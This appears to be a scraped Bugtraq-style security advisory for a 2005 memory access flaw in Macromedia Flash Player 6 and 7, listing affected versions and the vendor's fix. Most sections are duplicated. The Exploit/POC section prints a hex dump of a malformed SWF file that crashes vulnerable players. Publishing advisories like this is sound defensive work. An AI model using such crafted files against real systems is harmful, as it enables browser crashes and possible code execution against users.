Macromedia Flash ActionDefineFunction Memory Access Vulnerability
BID:15334
Info
Macromedia Flash ActionDefineFunction Memory Access Vulnerability
| Bugtraq ID: | 15334 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 07 2005 12:00AM |
| Updated: | Nov 07 2005 12:00AM |
| Credit: | Discovered by Sec Consult. |
| Vulnerable: |
Microsoft Windows XP Professional x64 Edition Microsoft Windows XP Professional SP2 Microsoft Windows XP Professional SP1 Microsoft Windows XP Media Center Edition SP2 Microsoft Windows XP Media Center Edition SP1 Microsoft Windows XP Home SP2 Microsoft Windows XP Home SP1 Microsoft Windows ME Microsoft Windows 98SE Microsoft Windows 98 Macromedia Flash 7.0.19 .0 Macromedia Flash 7.0 r19 Macromedia Flash 6.0.79 .0 Macromedia Flash 6.0.65 .0 Macromedia Flash 6.0.47 .0 Macromedia Flash 6.0.40 .0 Macromedia Flash 6.0.29 .0 Macromedia Flash 6.0 |
| Not Vulnerable: | |
Discussion
Macromedia Flash ActionDefineFunction Memory Access Vulnerability
The Macromedia Flash plug-in is vulnerable to an input validation error that may be exploited to execute arbitrary code or carry out a denial of service attack. The vulnerability is due to an input validation error for a critical array index value.
An attacker can exploit this vulnerability to execute arbitrary code. The most likely vector of attack is through a malicious SWF file designed to trigger the vulnerability that has been placed on a Web site.
Macromedia Flash 6 and 7 are reported affected.
It should be noted that this issue similar to the vulnerability described in BID 15332 (Macromedia Flash Array Index Memory Access Vulnerability), however, this issue affects a different function.
The Macromedia Flash plug-in is vulnerable to an input validation error that may be exploited to execute arbitrary code or carry out a denial of service attack. The vulnerability is due to an input validation error for a critical array index value.
An attacker can exploit this vulnerability to execute arbitrary code. The most likely vector of attack is through a malicious SWF file designed to trigger the vulnerability that has been placed on a Web site.
Macromedia Flash 6 and 7 are reported affected.
It should be noted that this issue similar to the vulnerability described in BID 15332 (Macromedia Flash Array Index Memory Access Vulnerability), however, this issue affects a different function.
Exploit / POC
Macromedia Flash ActionDefineFunction Memory Access Vulnerability
The following proof of concept is available:
<swf>
----- [SetBackgroundColor] -----
TagID: 9 (size: 3 (short tag)
- dump ->:
\x43\x02\xff\x00\x00
----- [DoAction] -----
TagID: 12 (size: 60 (short tag)
- dump ->:
\x3c\x03\x9b\x08\x00\x41\x41\x41\x41\x41\x41\x41\x41\x00\x40\x00
\x42\x42\x42\x42\x42\x42\x42\x42\x00\x43\x43\x43\x43\x43\x43\x43
\x43\x00\x44\x44\x44\x44\x44\x44\x44\x44\x00\x45\x45\x45\x45\x45
\x45\x45\x45\x00\x46\x46\x46\x46\x46\x46\x46\x46\x00\x00
----- [ShowFrame] -----
TagID: 1 (size: 0 (short tag)
- dump ->:
\x40\x00
----- [End] -----
TagID: 0 (size: 0 (short tag)
- dump ->:
\x00\x00
</swf>
The following proof of concept (df.swf) provided by Karma <[email protected]> will determine if a vulnerable Flash Player is installed. If the Flash Player is vulnerable, opening the file will crash the browser. Otherwise a yellow image will be displayed.
The 'flash_dos_poc.c' proof of concept exploit by BassReFLeX creates a SWF file sufficient to exploit this issue to crash a vulnerable Flash Player.
The following proof of concept is available:
<swf>
----- [SetBackgroundColor] -----
TagID: 9 (size: 3 (short tag)
- dump ->:
\x43\x02\xff\x00\x00
----- [DoAction] -----
TagID: 12 (size: 60 (short tag)
- dump ->:
\x3c\x03\x9b\x08\x00\x41\x41\x41\x41\x41\x41\x41\x41\x00\x40\x00
\x42\x42\x42\x42\x42\x42\x42\x42\x00\x43\x43\x43\x43\x43\x43\x43
\x43\x00\x44\x44\x44\x44\x44\x44\x44\x44\x00\x45\x45\x45\x45\x45
\x45\x45\x45\x00\x46\x46\x46\x46\x46\x46\x46\x46\x00\x00
----- [ShowFrame] -----
TagID: 1 (size: 0 (short tag)
- dump ->:
\x40\x00
----- [End] -----
TagID: 0 (size: 0 (short tag)
- dump ->:
\x00\x00
</swf>
The following proof of concept (df.swf) provided by Karma <[email protected]> will determine if a vulnerable Flash Player is installed. If the Flash Player is vulnerable, opening the file will crash the browser. Otherwise a yellow image will be displayed.
The 'flash_dos_poc.c' proof of concept exploit by BassReFLeX creates a SWF file sufficient to exploit this issue to crash a vulnerable Flash Player.
Solution / Fix
Macromedia Flash ActionDefineFunction Memory Access Vulnerability
Solution:
Macromedia has issued advisory MPSB05-07:
http://www.macromedia.com/devnet/security/security_zone/mpsb05-07.html
It is advised that all users who have not already upgraded to Flash 8 do so. The latest version of Flash 8 (as of this writing, 8.0.22.0), available at the download center, contains the fix:
http://www.macromedia.com/go/getflash
Macromedia has stated that users with Flash 8 are not vulnerable. An update to users of previous versions of Flash is also available:
http://www.macromedia.com/cfusion/knowledgebase/index.cfm?id=d9c2fe33
Microsoft has released a Security Advisory and related Knowledge Base Article detailing versions of Windows that redistribute vulnerable versions of Macromedia Flash. Please see the referenced advisory for further details.
Solution:
Macromedia has issued advisory MPSB05-07:
http://www.macromedia.com/devnet/security/security_zone/mpsb05-07.html
It is advised that all users who have not already upgraded to Flash 8 do so. The latest version of Flash 8 (as of this writing, 8.0.22.0), available at the download center, contains the fix:
http://www.macromedia.com/go/getflash
Macromedia has stated that users with Flash 8 are not vulnerable. An update to users of previous versions of Flash is also available:
http://www.macromedia.com/cfusion/knowledgebase/index.cfm?id=d9c2fe33
Microsoft has released a Security Advisory and related Knowledge Base Article detailing versions of Windows that redistribute vulnerable versions of Macromedia Flash. Please see the referenced advisory for further details.
References
Macromedia Flash ActionDefineFunction Memory Access Vulnerability
References:
References:
- Macromedia Homepage (Macromedia)
- Microsoft Security Advisory (910550) (Microsoft)
- Microsoft Security Advisory: Macromedia Security Bulletin MPSB05-07: "Flash Play (Microsoft)
- MPSB05-07 Flash Player 7 Improper Memory Access Vulnerability (Macromedia)
- SEC Consult SA-20051107-1 :: Macromedia Flash Player ActionDefineFunction Memory (Bernhard Mueller